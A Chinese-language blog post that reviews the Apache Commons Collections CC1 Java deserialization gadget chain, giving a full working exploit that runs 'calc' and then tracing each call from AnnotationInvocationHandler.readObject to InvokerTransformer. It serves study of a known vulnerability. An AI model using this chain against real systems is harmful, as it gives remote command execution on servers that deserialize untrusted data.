cc1

CC1

好久没写博客了,写一份温故一下cc链

EXP

先扔个EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object,Object> hashmap=new HashMap<>();
hashmap.put("value","value");
Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);
Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
serialize(annotationInstantce);
unserialize();


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}


}



分析

链子

由AnnotationInvocationHandler.readObject 触发 AbstractInputCheckedMapDecorator.setValue -> 由AbstractInputCheckedMapDecorator触发 TransformedMap.checkSetValue -> 再触发ChainedTransformer.transform

以AnnotationInvocationHandler类中的readObject函数作为入口,调用其中的setValue();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name); //获取注解类中的变量名,所以要用Target.class
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( //触发位置
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

详细分析一下这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))
/*
假设有一个注解成员 int value() 和 memberType 是 Integer.class:

如果 value 是 42(整数),则 memberType.isInstance(value) 为 true。
如果 value 是 new ExceptionProxy(),则 value instanceof ExceptionProxy 为 true。
如果 value 是 "hello"(字符串),则 memberType.isInstance(value) 为 false 且 value instanceof ExceptionProxy 也为 false。

*/
我们这里
type是传入的注解类 Target.class
annotationType = AnnotationType.getInstance(type);
//getInstance 它接收一个注解类型并返回一个 AnnotationType 实例。这个实例包含了关于该注解类型的所有信息

Map<String, Class<?>> memberTypes = annotationType.memberTypes();
//memberTypes() 是 AnnotationType 类中的一个方法,它返回一个 Map,其中键是注解成员的名称,值是这些成员的类型(Class<?> 对象)。
这样我们传入处理后memberTypes 的值应该是 key=value,value=ElementType[].class

//memberValue的值就是我们传入的hashmap.put("value","value");
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
//这样我们此处name=value 那么在memberTypes.get就可以查找到memberType=ElementType[].class
顺利通过第一个if部分 if (memberType != null) memberType在此处的值为ElementType[].class
ElementType实际上是一个枚举类型,ElementType[].class就是表示 ElementType 类型数组的 Class 对象。

如图

image-20240719005005896

1
2
3
4
5
6
7
8
9
10
//这样我们又可以得到
Object value = memberValue.getValue(); //此处的value=value,因为memberValue的值是(value,value),
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
/*
ExceptionProxy 是一个类(或接口),用于表示反序列化过程中出现的异常代理。
value instanceof ExceptionProxy 检查 value 是否是 ExceptionProxy 的实例。
若是则返回true,但是很明显value是一个字符串,因此也是false

我们的value是字符串,无法被强转为ElementType 类型数组,并且value不是一个异常代理,此处的if也通过了
*/

那么这个memberValue.setValue中的setValue又调的是谁的呢?

可以看到

image-20240719124253589

我们传入的TransformedMap继承于AbstractInputCheckedMapDecorator

由于,TransformedMap中不含有entrySet()这个函数,那么我们此处的memberValues.entrySet(),就会寻找其父类AbstractInputCheckedMapDecorator中的entrySet

1
2
3
4
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
...
}

先是触发了entrySet(),进入if后image-20240719124153973

新建了一个EntrySet对象,我们把重点移动到iterator()函数

这里我们并不知道怎么触发的iterator,继续往后面看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
  static class EntrySet extends AbstractSetDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}

public Iterator iterator() {
return new EntrySetIterator(collection.iterator(), parent);
}
...
}

接着iterator()新建了一个EntrySetIterator对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class EntrySetIterator extends AbstractIteratorDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
super(iterator);
this.parent = parent;
}

public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
}

这里的next()方法又创建了一个MapEntry对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

这样就触发了MapEntry中的setValue()函数

实际上

1
2
3
4
5
6
7
8
9
10
//原本的for循环
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
...
}

//等同于
for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) {
Map.Entry<String, Object> memberValue = iterator.next();
...
}

这样通过AnnotationInvocationHandler中的setValue(),执行的是AbstractInputCheckedMapDecorator中静态类MapEntry中的setValue(),进一步触发checkSetValue(),这里的 checkSetValue函数实现在TransformedMap中

1
2
3
4
5
6
//构造函数:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

由于TransformedMap中的构造函数是protected类型的

无法直接调用,审阅代码发现里面的decorate函数可以返回一个TransformedMap对象

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

继续我们的checkSetValue

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这里我们执行到了transform函数,我们需要知道,应该触发哪一个类的transform函数

我们找到了InvokerTransformer这个类,他的transform函数能够完成我们的需求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//InvokerTransformer
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

这里利用了java中的反射机制,我们能够利用这个反射去构造我们想要的东西

1
2
3
4
5
6
7
//反射举例:
Class<?> clazz =Class.forName("java.lang.Runtime");
Method m1 = clazz.getMethod("getRuntime");
Method m2 = clazz.getMethod("exec",String.class);
Object r = m1.invoke(clazz);
m2.invoke(r,"calc.exe");
//大致就是加载java.lang.Runtime的Runtime类,然后通过getMethod获取两个函数,再通过invoke进行调用

我们可以看到transform函数正是这样

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

放个例子进去

1
2
3
Runtime run = Runtime.getRuntime();
InvokerTransformer a = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
a.transform(run);

但是实际上由于Runtime类的构造函数是私有的,我们触碰不到

1
private Runtime() {}

所以需要利用反射来获取,Runtime类中有一个getRuntime可以直接返回一个Runtime实例,所以我们可以利用反射获取getRuntime从而获取Runtime实例

1
2
3
4
5
private static Runtime currentRuntime = new Runtime();

public static Runtime getRuntime() {
return currentRuntime;
}

操作

1
2
3
4
5
6
7
8
InvokerTransformer a = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
Object getRuntime= a.transform(Runtime.class);

InvokerTransformer b= new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
Object runtime = b.transform(getRuntime);

InvokerTransformer c =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
c.transform(runtime);

用ChainedTransformer中的transform函数,来去触发transform,这样我们一个数组就可以完成上述操作

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

改进

1
2
3
4
5
6
Transformer[] transformers=new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

现在再梳理一下

由AnnotationInvocationHandler 触发 AbstractInputCheckedMapDecorator.setValue -> 由AbstractInputCheckedMapDecorator触发 TransformedMap.checkSetValue -> 再触发ChainedTransformer.transform 到此实现命令执行

但是有一个问题

image-20240720114302846

这里的setValue参数并不可控

也就是我们的Runtime.class无法传进去

但是有一个量身定制的类ConstantTransformer,他也有一个

1
2
3
4
5
6
7
8
9
10
11
//属性
private final Object iConstant;
//构造函数
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
//transform方法
public Object transform(Object input) {
return iConstant;
}

这样无论传入的input是什么,都会返回初始化时创建的,那么我们在初始化的时候给他传入Runtime.class,在后面就可以直接拿到了。

也就是说最后执行

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

原本此处传入的object是AnnotationTypeMismatchExceptionProxy对象,我们调用的是

ConstantTransformer.transform(AnnotationTypeMismatchExceptionProxy) ,由于ConstantTransformer的特殊性,会返回Runtime.class

到此结束

总结

反序列化本是要逆着来看的,为了更加记忆深刻,在此从正向分析一遍,强化各类函数的调用

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信